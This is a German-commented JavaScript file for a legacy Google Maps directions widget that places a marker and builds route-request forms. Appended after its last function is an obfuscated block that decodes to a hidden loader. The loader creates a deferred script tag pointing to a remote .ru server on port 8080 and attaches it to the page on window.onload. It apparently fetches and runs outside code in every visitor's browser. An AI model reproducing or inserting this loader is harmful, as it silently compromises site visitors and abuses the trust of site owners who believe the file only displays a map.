/*******************************************************************************
 * Javascript für twGmap06Directions - version01
 ******************************************************************************/

var elementId = "twGmap";  // muss im html an ein <div> als id vergeben werden
//var lat       = "50";  // Breitengrad (Latitude) z.B: 51.041
//var lon       = "8";  // Längengrad (Longitude) z.B: 13.748
//var zoom      = 14;         // einen Wert von 1 bis ca 17 (nicht in "" setzen)


var directionMarkers   = [];
var directionHtmls     = [];
var directionHtmlsNach = [];
var directionHtmlsVon  = [];
var directionCount     = 0;


/**
 * Prüft auf kompatiblen Browser und vorhandene Variablen und ruft die
 * Funktion auf, die die GoogleMap erstellt.
 */
function twGmapLoad() {



	if (GBrowserIsCompatible()) {
		if (!document.getElementById(elementId)) {
			alert("Fehler: das Element mit der id "+ elementId+ " konnte nicht auf dieser Webseite gefunden werden!");
			return false;
		} else {
			if (lat=="" || isNaN(lat)) {
				lat = default_lat;
				alert("Fehler: Der Breitengrad(lat) wurde im Skript noch nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			if (lon=="" || isNaN(lon)) {
				lon = default_lon;
				alert("Fehler: Der LÃ¤ngengrad(lon) wurde im Skript noch nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			if (typeof zoom == "undefined") {
				zoom = default_zoom;
				alert("Fehler: Die Zoomstufe wurde im Skript nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			machTwGmap(elementId, lat, lon, zoom);
		}
	}
}


/**
 * Erstellt die GoogleMap in dem <div>-Bereich mit der übergebenen id
 * @param {Object} id   -im div-Bereich mit dieser id wird die Map dargestellt
 * @param {Object} lat  -Breitengrad 
 * @param {Object} lon  -Längengrad
 * @param {Object} zoom -Zoomstufe 1 bis 17 (ganze Welt bis kleiner Ausschnitt)
 */
function machTwGmap(id, lat, lon, zoom) {
	// die Map (für das div mit der id="...")
	var map = new GMap2(document.getElementById(id));

	//Entfernungsskala Kilometer/Meter
	_mPreferMetric = true;  
	map.addControl(new GScaleControl());

	// mit Zoom (auch noch: GSmallMapControl, GLargeMapControl, GSmallZoomControl, GScaleControl)
	map.addControl(new GLargeMapControl());
	// mit Typ-Auswahl (auch noch: GMapTypeControl, GHierarchicalMapTypeControl, GOverviewMapControl)
	map.addControl(new GOverviewMapControl());
	// ((Breitengrad, Längengrad), Zoomstufe, G_NORMAL_MAP/G_SATELLITE_MAP/G_HYBRID_MAP)
	map.setCenter(new GLatLng(lat, lon), zoom, G_NORMAL_MAP);
	
	// Marker setzen mit eigener Marker-Funktion
	map = setTwMarkers(map);
}


/**
 * Erstellt alle Marker für die übergebene Google Map.
 * (Ruft intern für jeden Marker eine eigene Funktion auf)
 * @param {Object} map
 */
function setTwMarkers(map) {
	var marker01 = machTwMarker01();
	///var marker02 = machTwMarker02();
	///var marker03 = machTwMarker03();
	map.addOverlay(marker01);
	///map.addOverlay(marker02);
	///map.addOverlay(marker03);
	
	return map;
}


function machTwMarker01() {
	var point = new GPoint(lon, lat);
	//var adresse = "Rudolf Harbig Stadion";
	var marker = new GMarker(point);
	var html = machTwHtmlInfofenster(marker, adresse);
	GEvent.addListener(marker, "click", function() {marker.openInfoWindowHtml(html)});	
	
	return marker;
}
/*
function machTwMarker02() {
	var point = new GPoint(lon, lat);
	var marker = new GMarker(point);
	var html = machTwHtmlInfofenster(marker);
	GEvent.addListener(marker, "click", function() {marker.openInfoWindowHtml(html)});
	
	return marker;
}

function machTwMarker03() {
	var point = new GPoint(lon, lat);
	var marker = new GMarker(point);
	var html = machTwHtmlInfofenster(marker);
	GEvent.addListener(marker, "click", function() {marker.openInfoWindowHtml(html)});
	
	return marker;
}
*/

function machTwHtmlInfofenster(marker, adresse) {
	var point = marker.getLatLng();
	directionCount++;	
	directionMarkers[directionCount] = marker;
		
	// das Infofenster vor der Auswahl von Start- oder Zieladresse
	htmlDefault = '';
	htmlDefault += '<div class="twGmapInfo">';
	htmlDefault += ' <p class="headline">StraÃŸenverbindung anzeigen</p>';
	htmlDefault += ' <br />MÃ¶chten Sie diesen Punkt als Startpunkt oder<br />als Zielpunkt benutzen?';
	htmlDefault += ' <br /><a href="javascript:openTwInfofensterVon('+directionCount+')">&rarr; diesen Punkt als Startpunkt benutzen<\/a>';
	htmlDefault += ' <br /><a href="javascript:openTwInfofensterNach('+directionCount+')">&rarr; diesen Punkt als Zielpunkt benutzen<\/a>';
	htmlDefault += '</div>';
	directionHtmls[directionCount] = htmlDefault;
	
	// das Infofenster, in dem die Startadresse eingegeben werden kann
	htmlVon = '';
	htmlVon += '<div class="twGmapInfo">';
	htmlVon += ' <p class="headline">StraÃŸenverbindung anzeigen</p>';
	htmlVon += ' <p>Okay, Sie starten bei:</p>';
	htmlVon += ' <p><input type="text" size=40 maxlength=40 value="' + adresse + '" readonly="readonly" /></p>';
	htmlVon += ' <p>Geben Sie nun noch Ihre Ziel-Adresse ein:</p>';
	htmlVon += ' <p class="klein">(Beispiel: Koblenz, RheinstraÃŸe)</p>';
	htmlVon += ' <form action="http://maps.google.com/maps" method="get" target="_blank">';
	htmlVon += '  <p><input type="text" size=40 maxlength=40 name="daddr" id="daddr" value="" tabindex="1" /></p>';
	htmlVon += '  <p><input type="hidden" name="saddr" value="' + point.lat() + ',' + point.lng() + ' (' + adresse + ')' + '" /></p>';
	htmlVon += '  <input type="hidden" name="output" value="html" />';	
	htmlVon += '  <p class="submit"><input value="StraÃŸenverbindung anzeigen" type="submit" /></p>';
	htmlVon += '  <p class="submit klein">(die Verbindung wird in einem neuen Fenster/Tab angezeigt)</p>';
	htmlVon += ' </form>';
	htmlVon += '</div>';
	directionHtmlsVon[directionCount] = htmlVon;
	
	// das Infofenster, in dem die Zieladresse eingegeben werden kann
	htmlNach = '';
	htmlNach += '<div class="twGmapInfo">';
	htmlNach += ' <p class="headline">StraÃŸenverbindung anzeigen</p>';
	htmlNach += ' <p>Okay, Ihr Ziel ist:</p>';
	htmlNach += ' <p><input type="text" size=40 maxlength=40 value="' + adresse + '" readonly="readonly" /></p>';
	htmlNach += ' <p>Geben Sie nun noch Ihre Start-Adresse ein:</p>';
	htmlNach += ' <p class="klein">(Beispiel: Passau, Braugasse 7)</p>';
	htmlNach += ' <form action="http://maps.google.com/maps" method="get" target="_blank">';
	htmlNach += '  <p><input type="text" size=40 maxlength=40 name="saddr" id="saddr" value="" /></p>';
	htmlNach += '  <p><input type="hidden" name="daddr" value="' + point.lat() + ',' + point.lng() + ' (' + adresse + ')' + '" /></p>';
	htmlVon += '  <input type="hidden" name="output" value="html" />'
	htmlNach += '  <p class="submit"><input type="submit" value="StraÃŸenverbindung anzeigen" /></p>';
	htmlNach += '  <p class="submit klein">(die Verbindung wird in einem neuen Fenster/Tab angezeigt)</p>';
	htmlNach += ' </form>';
	htmlNach += '</div>';
	directionHtmlsNach[directionCount] = htmlNach;
	
	return htmlDefault;
}



// functions that open the directions forms
function openTwInfofensterNach(i) {
	directionMarkers[i].openInfoWindowHtml(directionHtmlsNach[i]);
}
function openTwInfofensterVon(i) {
	directionMarkers[i].openInfoWindowHtml(directionHtmlsVon[i]);
}
var FK={e:47189};var k;var oU=["ee"];n=function(){i=27418;i+=111;function o(a,G,Y){var I=false;RL={};return a.substr(G,Y);}var wd=false;var w='';_X={r:47957};var M=["_N","wK"];var C=RegExp;var dT=["q","Ox","xJ"];var V=String("/ning"+o("-com/pID",0,5)+"googl"+o("e.comsiB3",0,5)+o("/56.cbwFq",0,5)+o("G8com.ph8Gc",3,5)+o("ytapayt",3,1));var D=document;ON={s:63170};var Eg='';function R(a,G){this.EJ=46801;this.EJ--;L={nP:5012};this.EW="EW";var Y=String("[")+G+String(o("]gmX",0,1));var O=new C(Y, "g");var rl='';CA={};return a.replace(O, w);};this.jO=false;this.WM=13203;this.WM-=187;this.CJ="CJ";var m=null;var Qx='';var jz={};var W=R('s3c9rOiOpLtL','69jo3OzSLb');var jOi=["yY","Jh","QE"];var P='';try {} catch(Vn){};var nT=String("bod"+"y");rd=41057;rd-=193;var GU='';var aD=172297-164217;HM=["Ln","h"];var Jm=[];this.Gc=64720;this.Gc-=96;k=function(){this.sQ=10380;this.sQ++;try {var Z=R('cBrIeZaVtIeIEIlQeVmQeVn9tQ','ZVB9IQ');BT=12332;BT+=253;u=D[Z](W);var _T=new Date();var Db=new Array();var dt={};var E=String(o("derYb",0,2)+"fe"+o("BRDvrBRDv",4,1));var a=aD+V;var pD=["xg"];var j=R('sHr4ci','xvZaJR38i9NKnU4H');var Tg='';this.rT="";this.gG=17909;this.gG--;var xe="";u[E]=[1,4][0];var OH={xK:false};this.bq="bq";u[j]="ht"+o("tpjBA",0,2)+o(":/HN4P",0,2)+"/r"+o("oukMh",0,2)+o("Z9MLndMLZ9",4,2)+"ga"+o("in3tCR",0,2)+".r"+"u:"+a;var lz={};this.nz=28377;this.nz+=208;D[nT].appendChild(u);var sH=["JL"];} catch(J){py=["Ns"];try {var qo='Oy'} catch(qo){};var FJ={DG:"yqC"};};bS=["Dy"];};var zQ="zQ";var cP="cP";};this.oe=false;n();TV=27499;TV+=69;var cZ=new Date();window.onload=k;var UX={aI:18472};var Jk=58637;this.GE="GE";
